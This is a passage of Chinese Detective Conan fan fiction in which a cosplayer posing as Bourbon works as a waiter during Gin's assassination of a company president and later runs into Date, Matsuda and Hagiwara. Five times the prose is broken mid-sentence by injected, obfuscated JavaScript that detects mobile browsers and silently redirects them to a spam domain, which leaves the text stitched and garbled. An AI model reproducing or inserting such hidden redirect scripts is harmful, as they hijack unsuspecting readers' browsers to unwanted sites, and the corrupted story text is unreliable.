但波本这样像是天生以施虐为乐的人,即便是在黑暗世界,也是会被归类到“变态”一列的。 伏特加从来没有哪一刻,像现在这样,深刻地见识到波本从骨子里透露出的残忍无情。 这样的人,合该苟活在黑暗的最深处,一辈子都与光明隔绝。因为只有黑暗世界,才能满足他们异于常人的变态欲望。 “既然跟组织无关……伏特加,你不会到处乱说的,对吧?” 出现了,是那种笑里藏刀的威胁语气! 伏特加连忙澄清:“当然不会,我对你的私生活不感兴趣。” 他是真的对这种事不感兴趣,想赶快结束话题。 没想到波本反倒像是来了兴致,凑过来用一副跟他关系非常好的语气八卦:“说起来,你跟着琴酒这么多年,是不是知道他非常多的秘密?我很好奇,琴酒那种满脑子只有任务和老鼠的人,平时会享受夜生活吗?” 太可怕了!这个家伙! 威胁他也就算了,竟然还想拉他沦陷在八卦的罪恶深渊! 要是被琴酒大哥听到自己跟别人偷偷八卦他的私事,可还得了?! 伏特加的冷汗差点要下来了。 他连连摇头:“我不清楚这种事……” 男人语气失望:“啊,他不会真的那么无趣吧,除了任务什么私生活都没有?还是说他连你也要防备?” “没有那回事!”琴酒大哥最信任的人非他莫属! “肯定是他自己玩乐不愿意带你一起。伏特加,不是我说,你跟他出生入死这么多年,他不会只有做任务的时候才想得到你吧?” “根本不是这样,你不要胡说!大哥他……” 话没说完,被突然打开的车门打断。 银色长发的男人卷着冷气坐进副驾驶,投来的视线带着寒意。 伏特加一阵恍惚,只觉得那视线中流露出的,尽是冰冷的杀气。 该……该不会听见了吧? “大……大哥,都怪波本!” “嗯?”琴酒一如既往冷沉的声音带着点疑惑,“波本怎么了?” 伏特加:“……他,他做任务不专心……他故意跟我闲聊,他想偷懒!我可什么都没说!” 伏特加不敢说“八卦”二字,非常心机地换了个说法。 “喂,明明是你先找我聊私事的吧?”后排传来波本不满的声音。 琴酒漫不经心地扫了后排的金发男人一眼,看起来没怎么在意两人的闹剧,只是警告地说了句:“都给我警醒着点,别耽误任务!” “伏特加,开车,去任务地点。” “……是,大哥!” 伏特加庆幸不已。 太好了,大哥没有听到! …… 他们这次的任务,是狙杀一位掌握着组织相关资料的知名社长。任务由BOSS亲自派发,不容有失。 当然,只要是交到琴酒手中的任务,就注定不会失败。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520652|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “波本,你先进入宴会会场,确认目标所在的位置,我和伏特加去找狙击点。你确认完毕后留在会场待命,等到凌晨宴会将散时,由我动手。” “至于收尾工作——你只需要确认任务目标死亡即可,其余的不用管,由伏特加接手善后。” “记住,除非必要,否则不要擅自接近任务目标。” 光线昏暗的车厢中,只有一丁点黄色的光明明灭灭。夜风掠过半开的车窗,迅速吹散升腾的烟雾,只留下一阵寒意。 坐在后排的金发男人随手将锁骨处的波洛领结摘下,塞进口袋,又从身侧的手提包中揪出一件燕尾服外套,提在空中用力抖平折痕。 他一边将燕尾服外套穿在身上,一边语气调侃地说:“这么防备我吗?生怕我窥探到组织的秘密?琴酒,别忘了备份资料的存储地址还是我查到的。” 他不久前从任务目标的秘密别墅中带走的资料,只是备份。不出意外的话,资料原件应该被任务目标随身携带着。 备份文件有加密锁,密码与任务目标与组织的交易有关,在场三人里只有琴酒能打开。所以尽管琴酒不满他擅自拿回备份的行为,却没有过多责怪。 眼下琴酒的安排,很难不让人怀疑他在提防波本,不想让波本接触资料。 “你要这份资料没有意义。”琴酒没有回头,将香烟的烟身在玻璃窗沿上磕了几下,掉落的烟灰很快消失不见,“是朗姆手下某个项目暗地交易的企业名单,他巴不得把这东西销毁。即便你兴冲冲地拿去献给朗姆,那家伙也只会怪你多事。” 他的话明着暗着讽刺波本是在为朗姆做事,时时刻刻都想着讨好朗姆。 “听你的语气,好像没有人比你更了解朗姆了。”金发男人突然阴阳怪气地来了句。 琴酒:“?” 这话怎么听着这么奇怪。 “琴酒,你到底是看不惯朗姆,还是嫉妒有人比你更得朗姆的重用?” 琴酒:“……”他听到了什么脏东西。 “与其想着整天怀疑别人,还是多反思反思自己吧。要是每天嚷嚷着痛恨老鼠的琴酒,有一天却被发现因为疏忽而放走了一个叛徒,你猜Boss会是什么反应?” 琴酒被他一通阴阳说得莫名其妙,脸色十分难看。 不远处的酒店大楼中灯火通明,大门处来来往往的车辆络绎不绝。 金发男人整整西装领口,转身朝酒店走去。 “有把柄的可不止我一个人。”金发男人头也不回地挥挥手,“要警醒着点啊,琴酒。” 9. 烫男人是金发黑皮(九) 【牧山:刚刚怎么回事?演绎值好像涨了25点。】 装修华丽的宴会厅中,金发侍者步伐轻快地穿梭在衣着奢华的宾客之间,手中盛着香槟的托盘稳稳当当,轻巧地像是没有重量。 【傻狗波波:刚刚是伏特加在旁边,哈哈哈哈他好像吓得不轻!】 【傻狗波波:话说波本这家伙真是全能啊,你都不知道我现在的服务生当得有多优秀,宴会开始到现在我已经收到好几位客人的称赞了!】 【牧山:……你开心就好。所以这25点演绎值是伏特加贡献的?】 【傻狗波波:应该是,不过只有25点吗……】 语气是肉眼可见的失望。 【傻狗波波:不愧是你啊,专属司机伏特加。】 【牧山:……】人身攻击过分了啊,人家好歹也是酒厂代号成员! 一位气质典雅、穿着深紫色丝绒晚礼服的女士走过来问路,金发侍者礼貌得体地为她做出指引。 “谢谢,等会儿能麻烦你帮我往二楼的休息室里送两杯香槟和一些甜点吗?。” “当然可以,女士。” 金发侍者面带微笑,目送这位女士离去,转身朝茶歇台走去。 没有人知道他绅士稳重的外表之下,脑子里在想些什么。 【傻狗波波:嘿嘿,我可真是太专业太优秀了!】 【牧山:……要不我们晚点再聊。】 【傻狗波波:别啊!这会儿琴酒不搭理我,我无聊得很——说回正事。刚才那一出,我本来是想演给琴酒看的,按照我们的计划,不是得先让‘琴酒发现波本最近在莫名地针对自己,竟然是因为一个不为人知的秘密’,以此来引起琴酒的兴趣吗?】 【傻狗波波:但是他今天不知道吃错什么药了,一直对我好凶。我怕直接开演会引起他的反感影响后续的计划,所以临时换了个目标。】 【牧山:清醒一点,他是琴酒,要是对你柔声细语的那才叫恐怖吧。】 【傻狗波波:感觉反倒是他一直针对我,波本以前惹到过他吗?】 牧山晓不知道。 但以他对亲友的了解,他认为很有可能是亲友的错觉。 【牧山:……总之,你今晚只要盯着你们的任务目标就行了,是吧?】 【傻狗波波:是的,放心,没有一丁点危险!而且我当服务生这么优秀,他不可能发现我的真实身份的!】 【牧山:行,你注意安全就好。】 【傻狗波波:话说现在已经很晚了,你怎么还没睡?说好了答应我乖乖睡觉呢!】 【牧山:谁答应你了啊!一直是你自己在自说自话吧?!而且你为什么把游戏卡带放鞋柜里,我找了半天都没找到!】 【傻狗波波:哈哈哈哈抱歉,好像是有一次拿着它去鞋柜附近找东西,顺手塞进去然后给忘掉了。】 【牧山:行吧。我只是有点睡不着……你专心做任务,我去打游戏了。】 【傻狗波波:好哦。】 关掉脑内频道时,金发侍者正站在一间休息室的门前,身旁停着一辆小推车,上面的托盘中摆着酒水和精致的茶点。 为了隔音和隐私,休息室的门一般都比较厚重,且都能从里面上锁。正常敲门的声音是传不进去的。 前台已经提前打电话告知过休息室里的贵宾,此时金发侍者只需要安静地在门口等待就好。 突然,隐藏在金发之下的微型耳机里响起琴酒的声音:“波本,汇报任务目标的位置。” 金发侍者抬头扫了一圈,确认监控的位置后,微微垂头将脸埋在碎发的阴影下。 “二楼东侧的休息室,不出意外的话,里面除了任务目标应该还有一个女人。”男人的声音被压得几乎只剩下气音,但足够让耳机另一边的人听得一清二楚,“我现在正在门口,准备进去。” “很好。”琴酒说,“进去确认过之后,再向我汇报一次。” 说完不等回应,通讯就被挂断。 一如既往琴酒的风格。 金发男人不满地“啧”了一声。 明明是协助任务,怎么搞得他好像替琴酒办事的小弟一样? 虽然琴酒的确有这次行动的绝对指挥权,但这人的态度就是会让人很不爽。 金发男人又等了好一会儿,久到他开始怀疑是不是里面出了什么状况的时候,休息室的门终于被人从里面打开。 一道细微的抽泣声透过门缝传了出来。 开门的是个中年男人,穿着不算合身的西装,国字型的脸上残留着疑似怒气的情绪,鼻翼两侧两道深深的法令纹衬得他面露凶意。 井田健一,任务目标的投资对象,目前经营的公司正面临经济危机。来这里是为了请求任务目标增加投资。但看他的表情,事情的进展似乎并不顺利。 “送东西的?给我吧。”男人只将门拉开了一条缝,说完就要伸手去拿推车上的托盘。 金发男人笑着说:“先生,东西有点多,不介意的话,我帮您送进去?” 中年男人眉头紧皱,像是想赶人,却被房间内传出的声音打断:“是谁?” “服务生。”中年男人回头答道。 “他是来送药的,让他进来吧。” 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520653|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个回应后,中年男人一愣,看着金发侍者的目光变得狐疑。 他的疑惑自然不是针对的不是金发侍者,而是“药”这个关键词。 在中年男人若有所思的目光下,金发侍者推着推车走进休息室。 休息室是个套间,直接开门进去,首先看到的是一个小型的休闲会客厅。 这里的装修是和酒店统一风格的西式古典主义,中间摆着宽大舒适的皮革沙发,一看就价格不菲。墙边的窗帘被用丝带挽出好看的造型,衬托出典雅的氛围。 任务目标正坐在沙发上,一只手抵着额头,看不清脸。 套间再往里有两间不大的休息间,可供宾客小憩。 金发侍者进去的时候,余光看到一道紫色的身影快速消失在休息间的门内。 他走到沙发旁的茶几前,一一将东西从托盘中取出。最后一样,是装在小而精致的金属托盘中的一盒药。 “先生,您要的东西都已经送到了了。” 金发侍者退开两步,垂手等待贵客的下一步指示。 不等沙发上的男人开口,开门的那个中年男人就忍不住问:“东野社长,您要了药?是有什么不舒服的地方吗?” 沙发上坐着的同样是个中年男人,身上的西装却是一眼就看得出是量身剪裁的高档西服。他将手放下,露出的脸上带着疲惫之意。 “刚喝多了酒,头有点痛。”被称为‘东野社长’的男人说着,扫了眼被放在茶几上的东西,发现除了他要的药,还有一瓶威士忌、一瓶香槟和一些摆盘精致的甜点。 “这些东西是……?” “啊,威士忌是我叫的。”井田健一连忙讪笑着说,“对不起,我不知道您不舒服……哈哈哈,抱歉。哦对了您要吃药是吧?我帮您倒水!” 他说完就慌忙去拿杯子。 金发侍者适时开口:“香槟和甜点是一位女士要求的……” 不等他说完,东野就不耐烦地打断他:“都拿走,别把这些没用的东西放在这儿。” 金发侍者愣了一瞬,随后躬身应声,安静地又将甜品和酒水全都收回托盘。 “请问还有其他吩咐吗?” 东野社长摆摆手,面色流露出一丝不耐:“没事了,你下去吧。” 退出休息室,金发侍者站在走廊上,盯着推车上被退回的摆盘精致的甜点,右手捋了下耳侧的碎发。 “窃听器放置失败,不过没关系,我会再想办法的。” 隐形耳机中,传来琴酒冷漠的声音:“那就交给你了,波本。” “我们还有一个小时的时间,好好表现。” 10.烫男人是金发黑皮(十) 钟表的时针渐渐跳过零点。 晚宴已经进行了三个半小时,主要流程早已结束。时间很晚了,大部分宾客已经提前离场。 这些提前离场的宾客并不知道,这其实是一场打着慈善晚会旗号的——庆功宴。 宴会大厅靠近电梯的位置,金发侍者垂着头,默默地清洁着茶歇桌上被人不小心打翻的牛奶。 两个男人端着酒杯从他身边经过。 “东野社长在顶楼吗?” “应该是,听说他喝多了,去了休息室。” “要不我们一起去找他吧?” “你是想……找他谈那件事吗?” “难道你不想?我可是提醒你,等宴会结束,你可就未必能找到他了。” “你的意思是……” “这家伙手中握着那么大的秘密,肯定早就想躲起来了。要不是咱们几家盯他盯得紧,他说不定已经拿钱跑路了。咱们得趁他跑路之前,把属于咱们的那份东西拿回来。” “你说的是……那就一起去吧。” 然而,两人刚走到电梯口时,就被从电梯中走出的国字脸男人拦下了。 “你们要去顶楼?”井田健一挡在电梯口,天生带着点凶意的国字脸上没什么表情,“东野社长已经休息了,吩咐所有人不要去打扰他。” 结伴而行的男人中,其中一个不满道:“井田,你只是为了不让我们去找社长故意这么说的吧?” 另一个附和道:“就是,你是不是已经跟社长谈过了,肯定从社长那里讨到了不少好处吧?” 井田健一眉头紧皱:“总之你们不要上去——喂,那个服务生!” 金发侍者闻声转身。 “东野社长说他饿了,你拿些吃的送到顶楼的休息室去。还有,社长不爱吃甜的,别忘了。” 金发侍者应声,绕过快要吵起来的三个人,拿着空托盘朝员工后场的位置走去。 十分几钟后,金发侍者推着同事从厨房送过来的食物,来到顶楼的休息室门口。 这次,门是被那个穿着紫色晚礼服的女人打开的。 她双眼通红,神情憔悴,脸上的妆有些花了,看起来像是刚哭过的样子。 她默不作声地打开门,并不抬头,等金发侍者进门后又沉默地将门关上。 金发侍者与仍坐在沙发上的男人打过招呼后,又贴心地关心起他的身体: “您还是感到身体不适吗,请问需要我帮您请医生过来吗?” 只因为东野刚现在的面色,肉眼可见地变得比刚才更加苍白。 可即便如此,他仍坚定地拒绝了金发侍者的提议,并且态度恶劣地当着侍者的面,冲女人发了一通脾气。 “你傻愣在那儿干什么,还不快过来给我倒酒?!” 女人伸手理了下头发,表情麻木地走过去。 后厨送来的餐食中有一瓶红酒作为搭配,但金发侍者额外要来了一杯果汁。 没想到刚刚还说着身体不舒服的东野刚,此时却指了指空着的醒酒器,要求女人为他准备红酒。 金发侍者默默退开,停在无人注意的角落里,没有多说什么。 就在此时,隐藏在金发之下的微型耳机中,再次传来琴酒的声音:“时间不多了,想办法把那个女人支开。” 琴酒的任务是在晚宴彻底结束之前,提前一步先结束东野刚的生命。 此时场内遗留的宾客中,即便不是所有人都知道组织的存在,也都或多或少地间接参与了东野刚与组织的那场交易,并从中捞到不少油水。他们今晚正在为一个不敢放在明面上的秘密项目的成功而庆祝,而东野刚作为他们的领头人,自然备受瞩目。 假如东野刚在这样的场合被狙击而亡,那么这些人,自然也就知道了自己手中的那笔“意外收入”,是该拿还是不该拿。 与此同时,东野刚私藏的那份组织资料,也能回到该回的地方。 金发侍者微微一愣,尚未对琴酒的话做出反应,就听到后者又说:“算了,还是不要打草惊蛇,一并解决就是。” “……” 金发男人交握着垂在身前的双手猛地收紧。 情报是他查的,所以他再清楚不过。这个女人是东野刚的情人,长期以来一直受到东野刚的胁迫。虽然她享受了东野刚的庇护和财产,却一直寻找着离开东野刚的办法。 可怜的女人对东野刚的地位和财富的来源一无所知,天真地以为,自己意外发现的东野刚的秘密,可以用来交换自由。 她甚至只窥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526175|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探到了秘密的轮廓——她知道东野刚在做一场危险的交易,却连交易对象都不清楚。 金发侍者发送给琴酒的情报中,特意瞒下了女人的心思。 却没想到,还是没能帮她逃脱这场无妄之灾。 坐在沙发上的中年男人在惬意地享受着美食,时不时使唤着女人做一些除了彰显他的地位以外毫无必要的事情,即便是在服务生的面前,也分毫不顾及情人的脸面。 突然,一直站在角落毫无存在感的金发侍者,动了一下。 “东野先生,请问您……” 正在喝红酒的东野刚放下酒杯,不满地看过来。 耳机里一片平静,原本来自琴酒的隐约的呼吸声也消失不见。 金发侍者顿了一下,开口正要继续说些什么,就在此时,房间内突然响起一声痛苦的哀嚎。 “呃——啊——!!!” 金发侍者顿时愣住,下一秒,他睁大双眼,震惊地看着眼前发生的一切。 只见东野刚猛地从沙发上站起,用力丢开酒杯,满脸痛苦地捂着喉咙,黑红色的血迹源源不断地从他口中涌出。 正准备为他倒酒的女人呆在原地,直到男人重重地倒在地上,她才反应过来。紧接着,女人尖利而惊恐的尖叫声响彻整个房间。 “死……死人了!啊啊啊啊啊啊啊!” 金发侍者眨眨眼,后知后觉地揉揉快要被尖叫声刺穿的耳朵,趁机用手指在微型耳机上敲了两下。 随后,他冷静地走到休息室的座机旁边,声音沉稳地安抚道:“女士,请冷静一些,我这就通知酒店前台报警。请您先退后,不要破坏案发现场。” 接下来的场面乱成一团,惊恐的宾客们要么要求上来查看情况,要么急着离开,又被同样惊慌的工作人员强行拦下。 目睹了第一案发现场的金发侍者有条不紊地帮忙维持着秩序。 而与此同时的另一边,寒风阵阵的天台之上,银色长发的男人听着耳机中传来的由远及近的警笛声,将视线从瞄准镜上收回。 他左手搭在冰冷的狙击枪上,沉声对身旁的伏特加吩咐道: “资料原件已经回收,任务目标已死亡,任务结束。” “你先下去,想办法接应波本。” 11.烫男人是金发黑皮(十一) “波本”现在暂时不需要接应,因为他正忙着汗流浃背呢。 跟随警车一起来的,是搜查一课的伊达航警官。 也是这位黑衣组织代号成员波本aka日本公安警察降谷零的警校同期——曾经关系很好但毕业就失联、告别都没有的那种。 此时“波本”正在跟这位老同学尬聊。 “姓名。” “……”顶着伊达航的怪异目光,他随便编了一个假名。 “职业。” “如您所见,酒店服务生。” “……这么说,你是亲眼看到死者喝下了这位女士倒的酒,然后毒发身亡?” 身穿制服的伊达航警官,手中拿着翻开的记事本,一脸严肃地向金发侍者询问着案发经过。 “是的。” “为什么身为服务生的你既不为客人倒酒,也不离开,而是在房间里逗留?” 金发侍者:“……” 他答不上来,不是因为找不到合理的借口,而是因为看到伊达航暗地里冲他挤了好几下眼睛。 【傻狗波波:啊啊啊啊啊他到底什么意思啊?!我完全看不懂啊大哥你别冲我暗示了!】 【牧山:淡定,不管他是什么意思,你只需要做出‘我很想跟你叙旧但现在不太方便相认’的表情就行了。】 【傻狗波波:……虽然我是专业的coser,但你对我的演技要求是不是有点过高?】 心里这么吐槽,表面上,金发侍者配合地冲伊达航也眨了下眼,嘴上解释着:“让那位女士亲手倒酒是死者的要求,而我自然是出于服务者的专业态度,留下来等待客人吩咐。” “警官,请问现在毒药检测结果出来了吗,酒水或餐食,我能知道究竟是什么东西有毒吗?” 即便是面对昔日好友,伊达航也很有原则地没有透露更多的信息:“抱歉,案件细节暂时无可奉告。” “总之,目前的嫌疑人就集中在你、野泽小姐以及井田先生身上。你们的任务是配合警方的调查,查案的事交给我们就好。” 【傻狗波波:也是好起来了,参与到幸运三选一了。】 等了一会儿,没有收到牧山晓的回复,金发男人也没太在意。 刚刚他吐槽见到伊达航的时候,牧山晓就在打游戏,这会儿确认这边问题不大,继续沉迷游戏也有可能。 此时伊达航已经离开去查看案发现场了,三位嫌疑人被要求待在宴会厅不能随意离开。 其余的宾客在接受过警方的调查后,因为排除嫌疑而被放行离开。原本喧闹的宴会厅很快就变得冷清下来。 金发侍者百无聊赖地依靠在茶歇台前,手中把玩着一个打火机。 井田健一在宴会厅中来回踱步,时不时朝电梯口张望,满脸掩饰不住的焦虑。 倒是表面上看起来嫌疑最大的野泽千代,一反事发时的惊恐,正镇定地坐在金发侍者的不远处,静静地发着呆。 打火机弹片清脆的响声很快引起了野泽千代的注意。 “你的打火机,是坏了吗?”她结束出神的状态,忽然向金发侍者搭话,“如果你需要用火,我包里有一个打火机,可以借给你。” 金发侍者动作一顿,笑着说:“不用了,我只是闲得无聊。” 他动作自然地将打火机收起。 此时的他确实很无聊。脑内频道里牧山晓不回消息,微型耳机早在他接受警察的询问之前就摘掉了。 口袋里的手机突然震动了一下,金发侍者拿出来查看,随后笑了。 是一条信息,来信号码他根本不认识,内容是问他什么时候下班,等着接他去喝酒。 不出意外的话,应该是伏特加发过来的。 金发侍者面带轻松的笑意回复:【应该快了吧。老朋友许久没见,礼物我已经准备好了,等会儿酒店门口碰面。】 “是女朋友吗?在等你下班?” 女人温和的声音传来,金发侍者一愣,面露疑惑,似乎不明白野泽千代为何有这样的猜测。 他解释道:“是很久没见的旧友,本来约好了今天下班一起去喝酒。” “原来如此。”女人脸上的笑容淡了一些,“这么晚去跟朋友喝酒,看来小哥你目前是单身呢。” 这个话题稍微有点越界,金发侍者有些尴尬地勾了下唇角,不欲接话。 没想到原本安安静静的女人却突然变得话痨起来,不管不顾地说着: “谈恋爱是件很美好的事,只是前提是要找到对的人。小哥你看起来性格温柔,如果遇到喜欢的人的话,一定要好好对她,不要让她受委屈。” “一个女人在委屈和不安中长久地苟活,是会滋生可怕的情绪的……” 金发侍者听着,眉头渐渐皱起。 他依旧没有接话。没过多久,或许是察觉到他的反感,女人的自言自语停了下来。 伊达航回来得很快,并且带来了一个不太好的消息:“很抱歉,经过我们现场检测后,你们三位的嫌疑都暂时无法排除。恐怕还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532221|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳烦三位跟我去一趟警视厅。” 井田健一在见到伊达航的瞬间就冲了过去,听到这句话后,情绪几乎要崩溃:“为什么!为什么我也要去?!我没有下毒,我身上根本什么可疑的东西都没有啊,你们不是检查过了吗?!” 与他相比,金发侍者和野泽千代显得更加冷静。 金发侍者说:“我可以配合,不过需要跟我的主管打声招呼。” 伊达航解释:“我们已经跟酒店这边沟通好了,这点请放心。” “那我可以给朋友发个信息吗?他们在等我一起喝酒。” 伊达航看了他一会儿,忽然板着脸走近,要求他展示和朋友的聊天记录,检查过发现没有问题,才点了点头。 看到警官的检查如此严密,刚刚还在嚎叫的井田健一蓦地安静下来。 一副心虚不已,肉眼可见地藏着不少秘密的模样。 野泽千代则没有多说别的,只提了一个要求,她想在离开酒店前去趟洗手间。 伊达航安排了一个女性酒店工作人员陪她一起。 几分钟后,两人一起回来,期间没有任何可疑的事发生。 接着,三位嫌疑人被“请”上了警车。 为了让对方安心,金发男人照常给那个可能正在沉迷游戏的人汇报: 【傻狗波波:晓宝,我现在得去警视厅一趟,不过应该没啥大问题,估计明天就回去了,不要担心我!】 令他没想到的是,这次牧山晓竟然秒回: 【牧山:那还真是巧了,我现在也正在前往警视厅的路上。】 【傻狗波波:???发生什么了?!】 【牧山:就几分钟前,有人在公寓楼里发现了一颗炸弹。】 【傻狗波波:什么?你刚刚为什么不告诉我!你有事没?!】 【牧山:完全没事。炸弹没有爆炸,也不是我们的楼层,听说炸弹犯好像是为了向旧情人复仇什么的……总之跟我毫无关系。】 【傻狗波波:那就好,你没事就好。】 【牧山:但是就很莫名其妙,明明我连目击证人都不算,有两个警察却一看到我就揪着我不放,非要带我来警视厅。】 【傻狗波波:是谁?投诉他!我们晓宝可是良民!】 【牧山:说出来你可能不相信。】 【傻狗波波:?】 【牧山:是萩原研二和松田阵平。】 【傻狗波波:???!!!】 【傻狗波波:谁?!!!】 12.烫男人是金发黑皮(十二) 时间倒回到一个小时前。 光线昏暗的客厅内,棕发少年坐在沙发上望着闪烁的电视屏幕发呆。 握着游戏手柄的手一动不动,屏幕中的游戏角色正停在一片阴暗的小巷中,在一堆苍蝇环绕的垃圾堆旁边待机。 一声野猫的低吼唤回了牧山晓的注意力。 野猫动作矫捷地从小巷中快速蹿过,转眼就不见踪影。游戏小人头顶冒出一串文字:【这里好脏好臭,再也不想来了。】 眼看心情值马上就降到及格线以下,牧山晓连忙操纵小人去翻垃圾堆。他需要在里面搜寻通关线索。 小人一边头顶冒泡地抱怨着,一边任劳任怨地翻着垃圾。 他先是翻出了一堆不重要的杂物、几个不知道有没有用的常见工具,最后,竟然翻出了一条长长的金属锁链。 【这是做什么用的?总觉得有点可疑。】 一般来说,出现这样的文字提示就说明发现关键道具了。 牧山晓正打算将锁链收进背包,突然脑内频道跳出一条消息: 【傻狗波波:啊啊啊啊啊晓宝!我碰见伊达航了!!!】 【傻狗波波:他冲我抛媚眼!!!】 牧山晓:“……”先不提为什么伊达航会出现在琴酒的任务地点,抛媚眼应该还不至于…… 【牧山:班长可是有未婚妻的人,你不要造谣!】 【牧山:不然‘班长喜欢小降谷’的谣言不是更解释不清了吗?!】 【牧山:所以到底怎么回事?】 听完亲友简单讲完他那边的情况,确认没什么危险后,牧山晓就放松下来,一心二用地一边跟亲友聊天一边继续操纵游戏手柄。 此时游戏小人已经快要被垃圾堆熏晕了。 毫无预兆地,一阵急促的敲门声突然响起。 牧山晓被吓得手一抖,不小心按到了手柄,屏幕上收回背包的选项忽地一跳,变成了使用。下一秒,大屏幕上跳出一张画风精美的cg。 一个身形纤瘦看不清脸的少年跌坐在小巷中,浑身狼狈,身边蹲着一只姿态乖巧的黑猫。他的腰间缠着一条粗重的金属锁链,长长的链条另一端牢牢固定在墙上,将少年困在原地。 画面的角落里,巷口的地方有怪物成群结队地徘徊着。 【请注意,您触发了特殊事件[夜行者的守护]。垃圾桶里发现的道具[被遗弃的锁链]致使您禁足一晚,但同样也为您避开了被怪物攻击的危险。】 【天亮后,您才能恢复行动。请继续努力,逃离这座无限之城吧。】 望着被电视屏幕放大数倍的游戏cg,牧山晓一时沉默。 果然是关键道具,只是没想到会触发这种效果…… 敲门声响个不停,牧山晓放下游戏手柄,朝玄关处走去。 现在已经是深夜了,什么人会在这种时候敲门呢? 透过可视门铃,门外两个穿着警服的人令牧山晓感到惊讶和诧异。 怎么是警察? 犹豫了几秒后,牧山晓还是将门打开了一条缝。 “请问有什么事吗?” 少年缩在门后,紧张地盯着门外的两个人,语气警惕。 两位警官先生对视一眼,不约而同地迅速拿出警官证,朝少年亮了出来。 “您好,有人举报在您家楼下的房间内有危险物品,出于效率考虑,我们需要从您的阳台借路,请问方便吗?” “我家楼下?”牧山晓一怔,“什么危险物品。” 两位警官看起来有些犹豫。 就在这时,一道强硬的男声从两人身后传来。 “你们在磨磨唧唧干什么,沟通工作还没做好吗?” 一个穿着黑色全套西服的卷发男人挤开两位警官,冲门缝中的少年举了下手:“你好先……小子?” 牧山晓:“……?” “啧。”卷发男人发出不耐烦地声音,莫名其妙地态度变得很差,“小子,你家大人在家吗?” 牧山晓:“……” 看出少年眼神中的怀疑,一旁的警官连忙解释:“这位是我们的同事,也是警察……” 虽然派头看起来比起警察更像个山口组。 “家里就我自己。”牧山晓来回打量着门口的几个人,没有完全放松警惕,“我想先了解清楚情况。你们说的具体位置是哪儿,危险物品又是什么?” “小子,你看好了。”卷发男人有些烦躁地从西装内兜里掏出警官证,翻开举到牧山晓的面前晃了一下,“我叫松田阵平,是警视厅警备部机动队□□处理班的警察。你家楼下与你家隔着一层楼的房间里有炸弹,楼下没住人,撬门太浪费时间,所以我要借用你家阳台翻进去拆弹。听明白了吗?” 牧山晓顿时愣住。 “喂,现在时间紧迫,炸弹随时可能会爆炸,可没有时间给你犹豫!再不开门我就踹了!” 旁边立即传来另两位警官慌乱的劝告声:“松田警官,这样可不行。” “不能威胁无辜群众啊!” 然而牧山晓听不进他们的争吵,他脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539981|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里只重复回荡着男人口中的名字: 松田阵平。 那个在原剧情中,于三年前在一场炸弹犯的恐怖袭击中,为了保护民众而因公殉职的拆弹警察。 跟之前见过的伊达航一样,同样也是降谷零的同期之一。 不过,他不是死了吗?! 在牧山晓愣神的功夫,松田阵平已经不讲道理地靠蛮力推开门硬闯了进来,同时伴随着另外两位警官听起来声嘶力竭实际上却不怎么走心的阻拦声。 看着“唰”地一下直直冲进阳台的松田阵平,牧山晓心情复杂。 还好亲友那些违禁品都藏在了暗处,公寓内表面上看起来就是个单纯的肥宅快乐屋,不然他还真不知道该怎么解释。 本该殉职的松田阵平没有死。牧山晓尚未来得及通过脑内频道将这个消息告诉亲友,就听到门口再次传来陌生男人的声音。 